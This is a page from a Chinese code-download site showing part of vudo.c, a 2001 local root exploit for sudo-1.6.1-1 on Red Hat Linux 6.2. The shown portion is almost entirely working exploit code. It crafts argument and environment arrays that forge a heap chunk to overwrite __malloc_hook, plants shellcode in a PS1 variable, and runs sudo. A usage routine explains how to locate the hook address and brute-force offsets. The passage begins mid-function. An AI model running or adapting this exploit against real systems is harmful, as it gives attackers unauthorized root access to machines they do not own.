⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 vudo.c

📁 密码破解源代码
💻 C
📖 第 1 页 / 共 2 页
字号:
    char * user_args;    /* pudding */    pudding = ( (p_v->NewArgv - SIZE_SZ) / sizeof(char *) ) - 3;    /* execve_argv */    execve_argv = malloc( (4 + pudding + 2) * sizeof(char *) );    if ( execve_argv == NULL ) {        return( NULL );    }    /* execve_argv[ 0 ] */    execve_argv[ 0 ] = SUDO;    /* execve_argv[ 1 ] */    execve_argv[ 1 ] = "-s";    /* execve_argv[ 2 ] */    execve_argv[ 2 ] = "-u";    /* user_tty */    if ( (p = ttyname(STDIN_FILENO)) || (p = ttyname(STDOUT_FILENO)) ) {        if ( strncmp(p, _PATH_DEV, sizeof(_PATH_DEV) - 1) == 0 ) {            p += sizeof(_PATH_DEV) - 1;        }        user_tty = p;    } else {        user_tty = "unknown";    }    /* user_cwd */    if ( chdir(USER_CWD) == -1 ) {        return( NULL );    }    /* user_runas */    size = p_v->msg;    size -= MESSAGE;    size -= strlen( " ; TTY= ; PWD= ; USER= ; COMMAND=" );    size -= strlen( user_tty );    size -= strlen( USER_CWD );    user_runas = malloc( size + 1 );    if ( user_runas == NULL ) {        return( NULL );    }    memset( user_runas, 'M', size );    user_runas[ size ] = '\0';    /* execve_argv[ 3 ] */    execve_argv[ 3 ] = user_runas;    /* execve_argv[ 4 ] .. execve_argv[ (4 + pudding) - 1 ] */    for ( i = 4; i < 4 + pudding; i++ ) {        execve_argv[ i ] = "";    }    /* user_args */    user_args = malloc( USER_ARGS + 1 );    if ( user_args == NULL ) {        return( NULL );    }    memset( user_args, 'S', USER_ARGS );    user_args[ USER_ARGS ] = '\0';    /* execve_argv[ 4 + pudding ] */    execve_argv[ 4 + pudding ] = user_args;    /* execve_argv[ (4 + pudding) + 1 ] */    execve_argv[ (4 + pudding) + 1 ] = NULL;    return( execve_argv );}/* vudo_execve_envp() */char **vudo_execve_envp( vudo_t * p_v ){    size_t fd;    char * chunk;    size_t post_pudding;    int i;    size_t pudding;    size_t size;    char * post_chunk;    size_t p_chunk;    char * shell;    char * p;    char * sudo_ps1;    char * tz;    char ** execve_envp;    size_t stack;    /* fd */    fd = p_v->__malloc_hook - ( SIZE_SZ + SIZE_SZ + sizeof(mchunkptr) );    /* chunk */    chunk = malloc( MINSIZE + 1 );    if ( chunk == NULL ) {        return( NULL );    }    ( (mchunkptr)chunk )->prev_size = PREV_SIZE;    ( (mchunkptr)chunk )->size = SIZE;    ( (mchunkptr)chunk )->fd = (mchunkptr)fd;    ( (mchunkptr)chunk )->bk = (mchunkptr)BK;    chunk[ MINSIZE ] = '\0';    /* post_pudding */    post_pudding = 0;    for ( i = 0; i < MINSIZE + 1; i++ ) {        if ( chunk[i] == '\0' ) {            post_pudding += 1;        }    }    /* pudding */    pudding = p_v->envp - ( 3 + post_pudding + 2 );    /* post_chunk */    size = ( SIZE - 1 ) - 1;    while ( nul(STACK - sizeof(SUDO) - (size + 1) - (MINSIZE + 1)) ) {        size += 1;    }    post_chunk = malloc( size + 1 );    if ( post_chunk == NULL ) {        return( NULL );    }    memset( post_chunk, 'Y', size );    post_chunk[ size ] = '\0';    /* p_chunk */    p_chunk = STACK - sizeof(SUDO) - (strlen(post_chunk) + 1) - (MINSIZE + 1);    /* shell */    shell = malloc( strlen(PRE_SHELL) + SHELL + 1 );    if ( shell == NULL ) {        return( NULL );    }    p = shell;    memcpy( p, PRE_SHELL, strlen(PRE_SHELL) );    p += strlen( PRE_SHELL );    while ( p < shell + strlen(PRE_SHELL) + (SHELL & ~(SIZE_SZ-1)) ) {        *((size_t *)p) = p_chunk;        p += SIZE_SZ;    }    while ( p < shell + strlen(PRE_SHELL) + SHELL ) {        *(p++) = '2';    }    *p = '\0';    /* sudo_ps1 */    size = p_v->buf;    size -= POST_PS1 + VICTIM_SIZE;    size -= strlen( "PS1=" ) + 1 + SIZE_SZ;    sudo_ps1 = malloc( strlen(PRE_SUDO_PS1) + size + 1 );    if ( sudo_ps1 == NULL ) {        return( NULL );    }    memcpy( sudo_ps1, PRE_SUDO_PS1, strlen(PRE_SUDO_PS1) );    memset( sudo_ps1 + strlen(PRE_SUDO_PS1), '0', size + 1 - sizeof(sc) );    strcpy( sudo_ps1 + strlen(PRE_SUDO_PS1) + size + 1 - sizeof(sc), sc );    /* tz */    tz = malloc( strlen(PRE_TZ) + p_v->tz + 1 );    if ( tz == NULL ) {        return( NULL );    }    memcpy( tz, PRE_TZ, strlen(PRE_TZ) );    memset( tz + strlen(PRE_TZ), '0', p_v->tz );    tz[ strlen(PRE_TZ) + p_v->tz ] = '\0';    /* execve_envp */    execve_envp = malloc( p_v->envp * sizeof(char *) );    if ( execve_envp == NULL ) {        return( NULL );    }    /* execve_envp[ p_v->envp - 1 ] */    execve_envp[ p_v->envp - 1 ] = NULL;    /* execve_envp[ 3+pudding ] .. execve_envp[ (3+pudding+post_pudding)-1 ] */    p = chunk;    for ( i = 3 + pudding; i < 3 + pudding + post_pudding; i++ ) {        execve_envp[ i ] = p;        p += strlen( p ) + 1;    }    /* execve_envp[ 3 + pudding + post_pudding ] */    execve_envp[ 3 + pudding + post_pudding ] = post_chunk;    /* execve_envp[ 0 ] */    execve_envp[ 0 ] = shell;    /* execve_envp[ 1 ] */    execve_envp[ 1 ] = sudo_ps1;    /* execve_envp[ 2 ] */    execve_envp[ 2 ] = tz;    /* execve_envp[ 3 ] .. execve_envp[ (3 + pudding) - 1 ] */    i = 3 + pudding;    stack = p_chunk;    while ( i-- > 3 ) {        size = 0;        while ( nul_or_space(stack - (size + 1)) ) {            size += 1;        }        if ( size == 0 ) {            execve_envp[ i ] = "";        } else {            execve_envp[ i ] = malloc( size + 1 );            if ( execve_envp[i] == NULL ) {                return( NULL );            }            memset( execve_envp[i], '1', size );            ( execve_envp[ i ] )[ size ] = '\0';        }        stack -= size + 1;    }    return( execve_envp );}/* usage() */voidusage( char * fn ){    printf( "%s versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1\n", fn );    printf( "Copyright (C) 2001 Michel \"MaXX\" Kaempf <maxx@synnergy.net>\n" );    printf( "\n" );    printf( "* Usage: %s __malloc_hook tz envp\n", fn );    printf( "\n" );    printf( "* Example: %s 0x002501dc 62595 6866\n", fn );    printf( "\n" );    printf( "* __malloc_hook:\n" );    printf( "  $ LD_TRACE_LOADED_OBJECTS=1 %s | grep %s\n", SUDO, LIBC );    printf( "  $ objdump --syms %s | grep __malloc_hook\n", LIBC );    printf( "  $ nm %s | grep __malloc_hook\n", LIBC );    printf( "\n" );    printf( "* tz:\n" );    printf( "  - first: %u\n", TZ_FIRST );    printf( "  - step: %u\n", TZ_STEP );    printf( "  - last: %u\n", TZ_LAST );    printf( "\n" );    printf( "* envp:\n" );    printf( "  - first: %u\n", ENVP_FIRST );    printf( "  - step: %u\n", ENVP_STEP );}/* main() */intmain( int argc, char * argv[] ){    vudo_t vudo;    /* argc */    if ( argc != 4 ) {        usage( argv[0] );        return( -1 );    }    /* vudo.__malloc_hook */    vudo.__malloc_hook = strtoul( argv[1], NULL, 0 );    if ( vudo.__malloc_hook == ULONG_MAX ) {        return( -1 );    }    /* vudo.tz */    vudo.tz = strtoul( argv[2], NULL, 0 );    if ( vudo.tz == ULONG_MAX ) {        return( -1 );    }    /* vudo.envp */    vudo.envp = strtoul( argv[3], NULL, 0 );    if ( vudo.envp == ULONG_MAX ) {        return( -1 );    }    /* vudo.setenv */    vudo.setenv = vudo_setenv( getuid() );    if ( vudo.setenv == 0 ) {        return( -1 );    }    /* vudo.msg */    vudo.msg = vudo_msg( &vudo );    /* vudo.buf */    vudo.buf = vudo_buf( &vudo );    /* vudo.NewArgv */    vudo.NewArgv = vudo_NewArgv( &vudo );    /* vudo.execve_argv */    vudo.execve_argv = vudo_execve_argv( &vudo );    if ( vudo.execve_argv == NULL ) {        return( -1 );    }    /* vudo.execve_envp */    vudo.execve_envp = vudo_execve_envp( &vudo );    if ( vudo.execve_envp == NULL ) {        return( -1 );    }    /* execve */    execve( (vudo.execve_argv)[0], vudo.execve_argv, vudo.execve_envp );    return( -1 );}--[ 0x02 - Outroduction ]-----------------------------------------------There is a non-exploitable buffer overflow in sudo.-- http://www.OpenBSD.org/errata28.html

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -